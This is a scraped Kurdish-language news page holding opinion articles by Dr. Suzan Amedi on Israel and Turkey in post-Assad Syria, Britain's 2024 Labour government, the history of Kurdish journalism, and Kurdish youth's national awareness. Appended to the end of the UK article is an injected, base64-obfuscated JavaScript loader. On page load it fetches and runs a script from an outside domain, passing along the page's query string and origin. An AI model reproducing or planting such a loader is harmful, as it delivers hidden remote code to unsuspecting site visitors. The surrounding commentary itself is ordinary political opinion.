د. سۆزان ئامێدی
ئهم یێن دبینین كو ئیسرائیل ب گوهۆڕینا ڕژێما بهشار ئهسهدى یا ئاههنگێ دگێڕێت ژ بۆ سهركهفتنا خۆ ل سهر ئهوا ل سووریێ ڕوویداى، چهندى كو ب ڕژێمهكا زۆر خراب ل قهلهم دای و پشتى كونترۆلكرنا دهڤهرا جۆلان ژ لایێ ئیسرائیلێ ڤه، ئێدى ههلومهرج و زهمینه خۆش بووینه ژ بۆ بهرفرههكرنێ و دهستدرێژیكرنێ بۆ كۆنترۆڵكرنا چیایێ (ئهلشێخ) یێ كو گرنگییهكا زۆر مهزن ههیى و ب تایبهتی ژى د بیاڤێ سهربازی دا، ب ئهوێ ئێكێ یێ ل سهر چار وهلاتان زاله، بهلێ ئهڤه چهنده دبیته ئهگهر كو ڕووى ب ڕووی هندهك زلهێزێن دیتر ببیت، چونكو ئهو ب تنێ تاكه زلهێز نینه ل سووریێ، لێ ئهڤه توركیا، ئهمریكا، بریتانیا و ههڤپهیمانیا نێڤدهولهتی ژى كو بنگهیهكێ سهربازی ل كۆبانێ دامهزراندیه.
ئهم گهلهك باش دزانین كو سیاسهتا ئیسرائیلێ ل گهل وهلاتان یا پهیوهندییهكا بهرژهوهندیانه، ب تایبهتى ژى وهلاتێن دهوروبهرا كو پشت ب پهیوهندیێن كورتخایهنهكان دبهستیت، بۆ نموونه هاریكاریا وێ ل گهل ئێرانێ بۆ شهڕێ ل گهل ئیراقێ، كو پشتى هینگى دهملدهست ڕژێما سهدام حوسێن هاته گوهۆرین ههتا وى ڕادهیێ بزاڤا نههێلانا ڕژێمێ كریه و ههر ئهڤ ئێكهیه ژى داتایان ل سهر ئهردى پشتڕاست دكهت بۆ پێنگاڤا شهڕێ خۆ ل سهر دهستێن ئێرانێ ل غهززه، باشووری لوبنان، سووریا و ل نێزیك ژى ل ئیراق و یهمهنێ، كو د ئهنجامدا ژى ههول ددهت بگههیته ئارمانجێن خۆ ل ئیرانێ.
د ڕاستی دا دبینم ئهوا كو ل سووریێ ڕوویداى ئهو ڕێككهفتنهكا توركى ـ ئیسرائیلى یه، چونكو جڤاكا نێڤدهولی یا هایداره ل سه وێ ئێكێ كا توركیا چهند یا هاریكاره ل گهل بهرهیێ رزگاركرنا شامێ بۆ ڕۆخاندنا ڕژێما بهشارى؛ ئهڤه ژ لایهكى ڤه و چاڤ نقاندن ل دهستدرێژیا ئیسرائیلێ ژ لایهكێ دیتر ڤه؛ ڕهنگه ئهڤه بسهلمینیت كو ڕێككهفتن دێ هێتهكرن، بهلێ ئهرێ رهوش دێ وهكو خۆ بهردهوام مینیت یان نه؟ چونكو هندهك بابهت یان هندهك داتا ههنه دوور نینه ڕووى بدهن چهندى كو ئهڤ ڕێككهفتنه بهر ب گوهۆرینێ ڤه بچن كو تووشى ههڤدو ببن یان لێكبدهن.
ڕاسته توركیا ب تهمامی كۆنترۆل لسهر سووریێ ناكهت، لێ هێزا وێ و پهیوهندیێن وێ ل گهل عهشیرهتێن سوننهیان، ههروهسا حوكمهتا دهمكی یا ئهحمهد ئهلشهرع، مرۆڤ ناكاریت ب كێمى و ب سڤكى سهحكهتێ، بهلێ ئهو دێ خۆ د چارڕێیانهكێ دا بینیتهڤه ل گهل ئیسرائیلێ و هێزێن جڤاكا نێڤدهولی، ل سهر ئهوێ پرسا بهرهنگاربوونا پێكهاتهیا عهلهویان و ئهوێن دیتر ب هایكاری ل گهل چهكدارێن ئهحمهد ئهلشهرع و داخواز ژێ بێتهكرن كو هێزێن كوردى سهركوت بكهت ب تایبهتی كو پشتگیری ژ لایێ ویلایهتێن ئێكگرتی یێن ئهمریكا و هێزێن ههڤپهیمانیا نیڤدهولی ڤه لێ دهێتهكرن.
ئهڤ داتایانه و هندهكێن دیتر دبنه جهێ نه پشتراستیێ بۆ ئهمریكا و زلهێزێن دیتر، ڕهنگه ببیته هۆیێ وهرچهرخانهیهكێ كو داخوازا پێكدادانێ بكهت، ئهڤه ژى وه ل ئیسرائیلێ دكهت بیر ل ڤهدیتنا چارهسهریهكێ بۆ دۆخێ خۆ ل ناڤا سووریێ دا بكهت، سهرهڕای تێكچوونا بارودۆخێ وێ ل پشتى شهڕین وێ یێن ڤان دوایان و ئهو شهڕێن هاڤێتنا مووشهكان د ناڤبهرا وێ و یهمهنێ دا، ل ڤێره دا پرسیارهك ههیه؛ خۆ دسپینیت: ئهرێ ههلوهستێ ئیسرائیلێ چییه ئهگهر هاتو بانگهوازهیێن توركیا بۆ درێژكرنا دهستههلاتا خۆ ل ناڤا سووریێ و ئیراقێ دا جێبهجێ بكهت، بۆ هندێ ههژموونا خۆ ب سهر دهڤهرێ دا ڤهبگهرینیت و شكۆمهندیێن خۆ یێن ڕابردوویى ژى ڤهبگهرینیتهڤه؟ و پاشى ههوڵدانێن خۆ بدهت كو نڤێژێ د مزگهفتا (ئهقسا) دا بكهت، ب تایبهت كو فاكتهرێ تائیفى یێ ههڤپشك ل سهر ناڤچهیێن ل ژێر دهستههلاتا توركیا یێ زاله، لهورا دبینم ئهگهر ئهڤه ل سهر زهمینێ بهێته بجهئینان و كارڤهدانێن وى سهردهمێ كهڤن و ڕادیكال بهلاڤ ببن، دویر نابینم شهڕ د ناڤبهرا وان دا روى بدهت، ل سهر ڤێ ئێكێ ژى ڤهگهڕیانا ئیسرائیلێ بۆ ڕێككهفتنهكێ ل گهل ئیرانێ دوور نابینم؛ نهخاسمه ئیرانێ هێشا دهستێن خۆ ل دهڤهرێ بلند نهكرینه و تهسلیم نهبوویه.
و ل داویێ ژى، ڕویدانێن ل سووریێ دبینم زۆر بلهز دهێن و ئهڤ رویدانه د جۆراوجۆرن ژ لایهكى ڤه، هندهك پێشنیازێن نێزیكى میانرهویێ ژ لایێ ئهحمهد ئهلشهرع ڤه مه گوه لێ دبن و ههروهسا ژى ئارامى د پێنگاڤێن وهزارهتا دهرهڤه یا توركیا دا دبهیسین كو دبنه نیشانێن شهڕهكێ ناڤچهیی.
و/ئهڤرۆ
نووترين نووچه
- سەرۆك بارزانی جەژنا قەولتاسی ل كاكەییان پیرۆز دكەت
- ئەمریكا دەستخوەشیێ ل سەرۆك بارزانی دكەت بۆ هنارتنا نوونەرێ خوە یێ تایبەت بۆ سووریێ
- شاندێ دانوستاندكارێ پارتی ل گەل بەرەیێ گەل كۆمبوو
- پێدڤییە بەغدا شایستەیێن دارایی یێن هەرێما كوردستانێ بهنێریت
- مەسرور بارزانی و فالح فەیاز دوپاتی ل گرنگییا هەماهەنگییا ئەمنی د ناڤبەرا هەرێمێ و ئیراقێ دا كر
- ل ئیراقێ هندەك هێز بۆ دژایەتییا قەوارەیێ هەرێما كوردستانێ یێن دروست بووین
- پشتەڤـانیێ ل بزاڤێن سـەرۆک بارزانی بۆ رۆژئاڤـایێ کـوردستانێ دکـەین
- سەرۆك بارزانی دوپاتی ل ئێكڕێزییا ئالیێن كوردی ل سووریێ كر
- حوكمەتا هەرێمێ ب زەلالی پێگیرییا ب رێككەفتنێن ل گەل بەغدایێ كری
- دڤێت دەستهەلاتا دادوەری رۆلێ خوە د دابینكرنا شایستەیێن دارایی یێن هەرێما كوردستانێدا بگێڕیت
د. سۆزان ئامێدی
پشتى سهركهفتنا پارتا كرێكارێن بریتانیا دێ چ هێته ڕویدان؟
د.سۆزان ئامێدى
ئهڤ ساله؛ 2024 مهزنترین ژمارهییا ههلبژارتنان ل جیهانێ ب خوهڤه دگریت، ژ ههمیان گرنگتر ژى یا كو كاریگهرى ل سهر ئاستهكێ نێڤدهولى ههیى، ههلبژارتنێن سهرۆكایهتیا ڕۆسیا و وهلاتێن ئێكهتیا ئهورۆپانه بۆ ههلبژارتنا ئهندامێن پهرلهمانێ ئهورۆپا و ههلبژارتنێن گشتى ل بریتانیا، ههلبژارتنێن سهرۆكایهتیا ئهمریكا و ههلبژارتنێن سهرۆكایهتیا ئێرانێ… هتد؛ ژ ههلبژارتنێن جۆراوجۆر كو زێدهتر ژ ٥٠ وهلاتان ب خوهڤهدگرێت.
ئهڤڕۆ ژى، پشتى 14 سالان ژ دهسههلاتا پارتا (پارێزگاران) Conservative and Unionist Party)، بریتانیا گههشتنا پارتا كرێكاران بۆ دهسههلاتێ وهكو بدهستڤهئینانا سهركهفتنهكا مهزن ب خوهڤه دبینیت، ب ڤێ ئێكێ نێزیكى دو لسهر سێ ژ كورسیێن (جڤاتا گشتى) House of Commons of the United Kingdom بدهستڤهخوه ڤه دئینیت، ههرچهنده تهنها نێزیكى ئێك لسهر سێیێ ژ دهنگدهران دهنگێ خوه دانه پارتا كرێكاران، بهلێ سیستهمێ ههلبژاتنا بریتانیا (سیستهمهكێ دهنگدانا فرهییه كو دهنگدهر تنێ دهنگێن خوه ددهنه ئێك كاندید، ئهو كاندیدێ پڕانیا دهنگان بدهستڤهدئینیت د ههلبژارتنان دا بسهردكهڤیت) كو ئهڤێ خزمهتا كاندیدێ پارتا كرێكاران كریه ههتاكو بسهركهفتى).
ههژى گۆتنێ یه كو سهدهما ژ دهستدانا پارتا پارێزگاران ئهوه كو لایهنگرێن وان ژ حوكمڕانیا وان و ژ سالێن بۆرین یێن داویێ ژ رێڤهبرنا وان بێزار بووینه، لهورا بڕیاردان دهنگى نهدهن و پێ باشتر دیتن كو پارتا (پارێزگاران) ل دهسههلاتێ نهمێنن و گرنگى ژى ب شوونگرێ وان نهداینه. ب واتایهكا دیتر ئینگلیز ب هۆیێ ئهدائا پارتا پارێزگاران ل دژی حوكمهتا پێشین بوون.
ل ڤێرهدا پرسیارهك ههیه كو خوه دسهپێنێت ژ ڕادهیا كاریگهریا هاتنا پارتا كرێكارێن بریتانیا بۆ دهسههلاتێ لسهر سیاسهتا ناڤخوه و یا دهرهڤهى بریتانیا كا چهنده؟!
دبینم كو كاریگهرى دێ چهند ههیڤهكێن دى بخوهڤه گریت، ئهگهر زێدتر ژى نهبیت، لسهر سیاسهتا ناڤخوهی و ژیانا ههڤوهلاتییان، بهلێ كێمتر لسهر سیاسهتا خوه یا ژدهرڤه، ب تایبهتی لسهر ئهمریكا كو د سهختترین قۆناغێن ههڤركیا دهسههلاتێ د ناڤبهرا دیموكراتان و كۆماریان را دبریت، چونكو هاتنا پارتا كرێكاران وهك گوهۆرینهكا مهزن د سیاسهتا بریتانیا دا دهێته هژمارتن، بهلێ پا سهرۆك ـ وهزیرێن نوى یێ بریتانیا ستارمهر،keir starmer، ل ماوهیێ پێش ههلبژارتنان دا، خوه ژ هێرشكرنێ یان ژ ڕهخنهگرتنێ ل پرسا پهیوهندیێن ل گهل ئهمریكا دویرئێخست، تهنانهت ئهندامێن وى یێن كو ب هێرشكرنێ بۆ سهر دۆنالد ترهمپ دناسیارن، ل دهمهكى دا ههولێن مهزن دابوون كو دید و بۆچوونان لێك نێزیك بكهن و پهیوهندیان ل گهل هندهك ژ سهركردهێن ئهمریكا دروست بكهن ژبۆ گوهۆڕینا نێڕینا وان یا بهرێ لسهر دۆنالد ترهمپ سهرۆكی ێشینێ ئهمریكا ل پێشبینیا سهركهفتنێ د ههلبژارتنێن داهاتى دا تایبهت پشتى ئهنجامدانا ب شكهستن یا بایدنى د دیبهیتا ئێكێ یا سهرۆكاتیێ دا.
ب راستى دا پارتا كرێكارێن بریتانیا پێ باشتره دیموكرات بمیننهڤه نهكو كۆمارى، ب وێ چهندێ كو ژبیر نهكهین سیاسهتا ترامپ گهلهك ژ یا وان جوداتره، بۆ نموونه پرسا ئۆكرانیا و سهپاندنا باجهیێن گران یێن گومرگێ لسهر هاوردهكرنا ئهمریكا… هتد ژ وان سیاسهتێن كو ڕهنگه پهیوهندیێ د ناڤبهرا وان دا خراپتر بكهت، بهلێ ئهو پرسێن ئهمنى یێن كو پهیوهندى ب ڕۆژههلاتا ناڤهڕاست ڤه ههیى، ههروهسا پرسا دهریا سۆر ژى وان پێكڤه گرێددهت.
ڕۆسیا تهنانهت پشتى هاتنا پارتا كرێكاران هیچ نووبوونهكێ د ڕوانگهیا بریتانیا دا نابینیت، بۆ زانین كو پارتا كرێكاران پێشتر ئاماژه ب وێ چهندێ كربوو كو دێ لسهر پشتهڤانیكرنا ئۆكرانیا بۆ ڕوی ب ڕویبوونا ڕۆسیا بهردهوام بیت.
سهبارهت ئێكهتیا ئهورۆپا، گوهۆرینا سیاسی یا بریتانیا ناكۆكه ل گهل وان گوهۆرینان یێن كو د وهلاتێن ئهورۆپى دا پهیدا دبن، كو ژ ئهنجامێ سهرههلدانا (ڕاستڕهو یا توندڕهو) هاتیه ئارا و ههرچهنده پارتا كرێكاران لسهر بڕیارا خوه یا بۆ دهركهفتن ژ ئێكهتیا ئهورۆپا یا رژده، بهلێ ههولددهت پهیوهندیان ل گهل خورت بكهت.
ئهرێ دهربارهى سیاسهتا كرێكاران ل گهل ئیرانێ و سیاسهتێن وێ ل دهڤهرێ دێ چ بیت؟، پشتى كو هێزێن بریتانیا بهرههڤییا خوه ل بهرامبهر حوسییان ل یهمهنێ دهڕبڕیه كو گهمیێن بارههلگر یێن كو د ناڤ دهریا سۆر دا تێدپهڕن دكهنه ئارمانج و سهپاندنا سزایان یێن كو یهكهیێن سهرهكى ل ناڤ هێزێن پاسداران یێن سهر ب یهمهنێ ڤه ب خوهڤهدگریت، وهسا دادنن كو ڕژێما ئێرانێ نهك تنێ لسهر گهلێ خوه، بهلكو بۆ سهر ڕۆژههلاتا ناڤهڕاست و جیهانێ ژى دبیته گهفهكا مهزن،
دیسا ل گوپیتكا جیهانی بۆ ئێرانهكا ئازاد، خانم (لیز ترۆس)، سهرۆك وهزیرا پێش یا بریتانیا، دوپاتكریه كو ئیران پشتهڤانیا چالاكیێن تیرۆرستى و و رۆژاندنا شهڕى ل دهڤهرێ دكهت و سهرهڕاى ههلبژارتنێن كو ل ئێرانێ دهێنهكرن، لێ بریتانیا پێ وایه كو ڕژێم ل ئێرانێ ژ لایێ خامهنهئى كۆنتڕۆلكریه و هندهك ڕاوێژكاریان تهنێ ژ فهرماندهیێن سوپایێ پاسداران وهردگریت و هندهكێن دیتر ژى هیچ ڕۆلهك د بڕیاردانێ دا نینه.
ل داویێ، ههتا چو رادهكى سیاسهتا حوكمهتا نوى یا بریتانیا ل پشتى كو پارتا كرێكاران دهست ب سهر ئیدارهیا كارگێڕى دا گرتى؛ دێ ئاشكرا بیت، گهر ب ڕاستی ژ سیاسهتا حوكمهتێن ل بهرییا خوه جیاواز بیت ژ حوكمهتێن ل گهل ئهمریكا، ئێكهتیا ئهورۆپا، ئیران و وهلاتێن كاریگهر.
ئهڤجا ب ڕاستی ههموو ڕویدانێن پێشتر ئاماژێ ددهن كو سیاسهتا دهرهڤهیا بریتانیا یا نهیا خوهجهه و ناڕۆهنه، بهلێ د پهیوهندییان دا ل گهل وهلاتان بهختهكێ باشتر ههیه، چونكو ژناڤ ههڤركیان دا ب بێ دژایهتیكرن و ئوپوزسیۆن دهردچیت، بهلێ چاڤێ خوه ل هندێ دنقینیت؛ كانێ ژ ناسهقامگیریێ ب ئهنقهسد یان ژ نهشیانا خوه بۆ ڤهدیتنا چارهسهریان دا دێ چ ل پاش خوه هێلیت، ئهڤه ژى ئهوه یاكو هاتیه رویدان و دهێته رویدان ب ئهگهرێ سیاسهتا بریتانیا ل ئیراقێ و ل زێدهتر ژ وهلاتهكى ل دهڤهرێ و ب ڤێ چهندێ هندهك نهیار و ئوپۆزسیۆنێن خوه ژدهستداینه ل بهرامبهر ڕژێمێن دیكتاتۆرى یێن كو وان هزر دكر دۆستێن وانن.
ئهڤجا حوكمهتا نوى یا بریتانیا دێ ئهڤى تشتى زانیت و دێ ڕێرهوا سیاسهتا خوه یا دهرڤه و ستراتیژیا خوه ڕاستڤه كهت یان نه؟(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
د بیرهوهرییا ١٢٦ سالییا رۆژنامهڤانییا كوردى دا
د.سوزان ئامێدى
رۆژنامهڤانیا كوردى ل دهسپێكێن پهیدابوونا خوه دا ل دهرڤهى ئهردێ خوه دا بوو، یا سهربهخوه بوو و سهرهڕاى ههبوونا قهدهغه و سانسۆریهكا توند د سهر دا، لێ دهربڕین ژ دهردهسهرى و ئازارێن خوه دكرن، لهورا ئێكهم ڕۆژنامهیا كوردى ل قاهیره ژ لایێ خێزانا كورد یا (بهدرخان) ڤه هاتبوو دهرچوون، كو ب هۆیێ توندوتیژیا ئوسمانیان ژ ناڤ ئهرێن كۆچكربوون و بهر ب مسڕێ ڤه چووبوون. ب ڤى شێوهیى ژمارهیا ئێكێ یا ڕۆژنامهیا (كوردستان) ل ڕۆژا پێنجشهمبى ٢٢نیسانا ١٨٩٨ ل باژارێ قاهیرهیێ ژ لایێ (میقداد مهدحهت بهدرخان) ڤه دهرچووبوو كو ڕۆژنامهیهكا نیمچه ههیڤانه بوو كو ژ (دار الهلال) یا مسرى ڤه دهاته چاپكرن، گهلهك ژ هژمارێن خوه ب نهێنى ڤه ب رێكا سووریێ ڕهوانهیى دهڤهرێن كوردى یێن جوهوجۆر دكرن، و سهرهڕاى هندێ كو ئهڤ رۆژنامهیه یا ژ ئهردێ كوردستانێ دووربوو (رۆژنامهڤانیا دهربدهریێ) بوو، بهلێ ل گهل وهلاتیێن كورد د پهیوهندیێ دا بوو و ب نهێنی ڤه ل ناڤ كوردان دا دگهرییا، ئهڤێ رۆژنامهیێ خهم و ئازارێن گهلێ كوردستانێ دهردبڕین و داخوازا شایسته و ههموو مافێن وى یێن ڕهوا یێن مرۆڤاتى و نهتهوهیى دكر.
پشتى جهنگێ جیهانى یێ ئێكێ و ل سهردهمێ شێخ مهحموودێ حهفید، رۆژنامهڤانیا كوردى شێوهكێ گهشهسهندنا ژمارهیى و جۆراتى و بهلاڤبوونێ ب خوهڤه گرتبوو، لهورا بریتانیا ئێكهم ڕۆژنامهیا كوردى ل ژێر ناڤێ (تیگهیهشتنى ڕاستى) ل سالا 1918 دهرئێخست بوو، پاشى ل باژارێ سلێمانیێ ڕۆژنامهیا (پێشكهوتن) ل سالا ١٩١٩، و ڕۆژنامهیا بانگى كوردستان/ ئاب سالا ١٩٢٢. (ڕۆژا كوردستان) ل چریا دوویێ ١٩٢٢. و(بانگ حق) ل ئازارا ١٩٢٣. و (ئومید استقلال) ل ئیلۆنا ١٩٢٣. پشكهك ژ ئهڤان ڕۆژنامهیان د فهرمى بوون و هندهك ژى تایبهت بوون (ئههلى) و بابهتێن وان د ناڤبهرا سیاسى و جڤاكى و رهوشهنبیرى دا دژێكجودا بوون. ئهڤ ڕۆژنامهیێن ههنێ ههتا پشتى سهردهمێ شێخ مهحموود حهفید بهردهوام ببوون و ههتا ئهڤڕۆ ژى دبهردهوامن.
جڤاكێ كوردستانێ ژى وهكو ئێك ژ وان جڤاكێن هشیارانه دهێته هژمارتن كو ئارهزۆییا ئاشكراكرنا ڕاستییان و زانیارییان ههیه، ب تایبهتى یێن سیاسى، كو ههموو دهزگههێن ڕاگههاندنێ ڤهدگوهێزن، چونكو كوردان ژ نێزیك ڤه سهرهدهرى ل گهل ههموو بۆیهرێن سیاسى كرینه و ژبهركو جڤاكێ كوردی ب نفشێن جۆراوجۆرێن خوهڤه، ههمى قۆناغێن گهشهسهندنا سیاسى بخوهڤهگرتینه و تێدا دهربازبوویه، لهورا تشتهكێ سروشتى یه كو د ئێك بنهمال دا كهسهكى پترییا بزاڤێن كوردى دیتبن و ئهڤه ژى ل گهل بهرهبابێن نوى بهردهوام بوویه، ههر ژ بهر هندێ ژى نێزیكبوونهكا زۆر د ناڤبهرا جهماوهرێ كورد و سیاسهتا ههرێمێ، ب ههمى دهسههلاتێن خوه ڤه ههبوویه و میدیا ژى تهمامكهرا هشیارییا جهماوهرێ كوردستانى بوویه، سهبارهت وان پرسێن كو ژنوى پهیدا دبوون، ههروهسا ههبوونا تهكنهلۆژیا مۆدێرن د ڤهگوهاستنا زانیارییان دا و ژ سهرچاوهیێن جورهوجۆر ڤه.
ئهڤه ژى ب هیچ شێوهیهكى وێ مانایێ نادهت كو ههمى جڤاكێ كوردستانێ ههمان بۆچوون ههبیت، بهلكو جڤاكهكه كو بۆچوونێن جودا د ناڤبهرا تاكان دا وردگریت و ئهو بۆچوونێن ههنێ ژ گرۆپهكى بۆ گرۆپهكێ دیتر دجیاوازن، بهلێ پشتى دانوستاندنێ و دیالۆگێ د ناڤبهرا تاك و گرۆپان و تیراژ و ڕۆژنامهیێن جۆروجۆر دا، و دهستڕاگههشتن ب زانیارێن زێدهتر ژ سهرچاوهیێن جیاواز، ل دوماهیێ بۆچوون دهێته گوهۆرین و دبیته تشتهكێ دى، كو ئهڤه ژى دبیته دهرئهنجامێ كارلێكیا بۆچوونێن تاك و گرۆپان.
ڕایا گشتییا كوردستانى ل گهل گوهۆریناِ بۆیهران و پرسێن رۆژهڤێ و ئهڤهژى ئهوه یاكو د ناڤ ههلوهستێن لایهنێن جۆراوجۆر یێن كوردى دا ب ڕێكا مامهلهكرنێ ل گهل حوكمهتێن ئێك ل دویڤ ئێكێن ئیراقێ مه دیتینه. واته جیاوازیێن ههلوهستان زێدهتر بهرژهوهندیێن نهتهوهیی دلڤینن، نهكو دابونهریت و بیروباوهر و كولتوور.
هشیاریا نهتهوهیی یا كوردى ل دهف گهنجان
د.سوزان ئامێدی
هشیاری یان ههستبوون واته تێگههشتن و زانین و هایدرابوون ل وان تشت و بابهتێن دهوروبهری تاكهكهسى كو پهیوهندی ب وى و جیهانێ ڤه ههیه، پاشى بهرسڤدان بۆ وان بابهتان، هشیاریا نهتهوهیی ب بنهمایێ دروستكرنا مللهتهكى دهێته دادنان كو باگراوندهكێ ب نهژادى، زمانهڤانی، كولتووری مێژوویى یێ ههڤپشك ههیه.
د ڕاستیى ژى دا ل گهل ههبوونا گوهۆرینا جڤاكی ب بۆرینا وهختى ژ ڕوویێ دابونهریت و هزر و بۆچوون و تیۆر و ههستان ڤه، پێدڤی دبیت كو ژیوارهكێ جڤاكی یێ جودا دهرئێخیت، بهلێ ژیوارهكه.
ل گهل تێكچوونا داتایان (سیاسی، ئابۆری، جڤاكی و كولتووری) ب پشتراستى ڤه دێ تێكچوونهكێ د هشیاریا نهتهوهیى دا ل گهل خوه ئینیت، كو دبیته ئهگهرێ تێكچوونا ئاسایشا نهتهوهیی، ژ بۆ هندێ كو پشتهڤانیكرن ل ئاسایشا نهتهوهیی بهێتهكرن، پێدڤیه هشیارییا نهتهوهیی بهێزتر و خورتتر لێ بهێت.
د ڕاستی و د واقیعى دا گهنجن هێڤێنی ئاڤاكرنا نهتهوهیان، ژ پێخهمهت هندێ هشیاریا نهتهوهی یا خوه زێدهتر لێ بكهن، پێدڤیه ب ڕۆلێ خوه یێ نشتیمانى بهێنه ئاشناكرن و رهوشهنبیركرن و پهره پێ بهێتهدان، ئهڤجا ئاڤاكرنا هشیاریێ ژ گرنگترین ئهولهویاتێن بهێزكرنا گهنجانه ژ بۆ خورتكرنا ڕۆلێ گهنجان د ناڤ مللهت و وهلاتی دا.
ژبۆ هندێ كو ڕۆلی گهنجان د بهرگریكرن ژ ملهتى و د ئاڤاكرنێ دا بهێته كاڕاكرن، پێدڤیه گیانێ ژیبوونێ د ناڤا وان دا بهێته گهشهكرن، ئهڤه ژى ب گرنگیدان ب هێز و شیانێن وان و چاندنا باوهریێ ل نك وان دهێته دى، ئهڤه ههمى ژى ژ پهروهردهییا مالێ دهست پێ دكهت كو تَێدا خێزانه، پاشى قۆناغێن خواندنێ و ب سازیێن جودا ب داوى دهێت. ئهڤڕۆ دبینم كو سازیێن ڕاگههاندنێ ب تهلهفزیۆنێ ب كهنالێن خوه یێن سهتهلایتان ڤه؛ ب پلاتفۆرمێن میدیایى و تۆڕێن جڤاكى ڤه، ڕۆلهكی گرنگ و دیار و بهرچاڤ ههیه بۆ بهرزكرنا هشیارییا نهتهوهیى، ئهگهر ب زیرهكیهكا ئهكادیمی و جڤاكی بهێته ڕێنماییكرن.. یانژى ههكه د شیان دا بیت سیستهمهكێ میدیایی بهێته پێكئینان كو میناكهكا ئایدیال بۆ وى ڕۆلى بهێته دابینكرن كو ل سهر ئهركه میدیایی ههڤچهرخ وهسا بیت.
ههستا نهتهوهیی یا كوردى ههستهكا نهرێنی نینه، بهلكو ههستهكا دلسۆزانهیه كو ژ پهیوهندیێن بۆماوهیی یێن ژیانا كۆمهلایهتی و ژ مێژووییا بابوباپیران دبیته سهرچاویێ ژێ وهرگرتنێ، وهك ههر ههستهكا نهتهوهیی یێ دیتر.
بهلێ كهتوارێ هشیارییا نهتهوهیی ل جهم كوردان؛ ب هۆیێ كاریگهرییا دهركهفتنێن مێژوویی و سیاسی و جڤاكی و ئابۆری ڕهگ و ڕیشهیێن دهروونی ههنه، ههروهسا ئهڤێ چهندێ نهبوونا شیانێن كوردان بۆ پشكداریكرنا سیاسی د بڕیاردانا سیاسی دا ل ناڤا دهستههلاتێن دیكتاتۆری دا، هشیارییا نهتهوهیی یا كوردی ب هێزتركریه، ئهڤه ژى بوویه ئهگهر كو ڕهفتارا سیاسی یا خوه بهر ب پاراستنا ناسنامهییا ههڕهشهلێكری یا خوه ڤه ببهت. ژ بهر هندێ كو ناسنامه دهربرینێ ژ ههبوونا مرۆڤى بكهت، ئێدى پێدڤی بوویه كو كورد خهباتێ بكهت بۆ وهرگرتنا مافێن خوه یێن نهتهوایهتی یێن هاتینه ژێ ستاندن، چونكو ژدهستدانا مرۆڤایهتیێ د ناڤ سهردهریكرنێ دا ل گهل كوردان ب هۆیێ وان ههلمهتێن جینۆسایدێ ژ كریارێن ژناڤبرنێ ڤه وهلێكریه كو ل دویڤ هۆكاران بگهڕیێین، ههروهسا ژ بهر هندێ كو جوداهییا ڕاستهقینه ل ناڤا كوردان و دهستههلاتێن حوكمڕان دا نه د ناڤا نهتهوهبوونێ دایه و ئهڤ چهنده ژى وان درووشمێن سیاسی سهلماندیه ئهوێن ئهڤان ڕژێمان د سهرهدهریكرنا خوه یا ستهمكاران دا ل گهل كوردان ههلدگرتن، ب ڤى شێوهیى ژى كوردان ترس ل ناسنامهییا خوه یا نهتهوهیی و مانا خوه ههبوویه.
ئهڤجا ل دهمێ كو ههستا نهتهوهیی دهێته گوهۆڕین بۆ بنهمایهكى بۆ سهرهدهریكرنێ ل گهل نهتهوهیێن دیتر و خوهدانێ وێ پالڤهددهت كو نهتهوهیێن دیتر سهركوت بكهت و ل دویڤدا دهرب دهرى و قڕكرنا وان بكهت، واته ئهو ڕهفتاره دبیته ههڕهشه بۆ سهر نیشتمان و مللهتى و ههر ئهڤهیه ژ لایێ ڕژێمێن ئێك ل دویڤ ڤه ل ههمى پارچهیێن كوردستانێ ل گهل كوردان د سهردهیكرنێ دا ل گهل كوردان رویدای.
ئهڤجا ژ گرنگترین قهیرانێن د ڕهفتارێن سیاسی دا ل دهمێ كو ڕهفتارا تاكى یا نهتهوهیى بیت، واته كو ههر لایهنهك تهنها د قازانجا نهتهوهییا خوه دا دچیت نهك ئهوێن دیتر، ئهڤه ژى وێنهیهكێ شۆڤێنیستی د كارێ سیاسی و كۆمهلایهتی دا دبهخشیت.
بهلێ ئهڤ سهرهدهیكرنا شۆڤێنیانه ژ ڕژێمێن دیكتاتۆرى ڤه ل گهل كوردان، و دانپێدانا دونیایێ ب تاوانێن (جینۆساید) ل دژی كوردان، كورد بۆ كارڤهدانێن نهرێنى پالڤهنهدان، ب مانایهكا دیتر ئهڤان تاوانان كورد نهكرنه ب ناسیۆنالیستێن شۆڤێنی، و مێژووییا كوردان سهرهدهریكرنا مرۆڤاتى یا پێشمهرگهى ل گهل خهلكێ سڤیل و زیندانییان دسهلمینیت، ناسیۆنالیزمێ هیچ كاریگهرییهك لسهر كوردان نهبوویه ژ ههلسوكهفتێن وى ل گهل ئهوێن دیتر، چونكو خهما وى یا سهرهكیی ل ناڤ سنوورێن عهشیرهتێ دا بوویه و سیستهمێ عهشیرهتێ… و ههر ئهو بوو بلندترین قانوون، و ئهڤ سنوورێن تهنگ بووینه بهربهستهك كو ڕێگری لێ دكر كو خزمهتكرنا نهتهوهبوونێ نهكهت، ئهڤه زێدهبارى وێ هزرا ئیسلامی، كو ڕۆلهكێ كاریگهر ههبوویه بۆ ڕێگریكرنێ د دروستبوونا هشیارییهكا نهتهوهیی دا.
و ل دویڤدا درووشمێن نهتهوهیى یێن كوردى ب حوكمهت و گهل ڤه، ههر ژ ئێكهم بزاڤا خهباتگێڕیێ ههتا نها، فاكتهرێ ڕهفتارا نهتهوهیى یا شۆڤێنیست ل گهل ئهوێن دیتر نهبوون و نابن ژى، بهلكو كارڤهدانا سروشتی و كارهكێ بهردهوام و هووربینانه یێ باش د خهباتێ دا بوویه ژبۆ پاراستنا ناسنامهیا خوه یا نهتهوهیی.
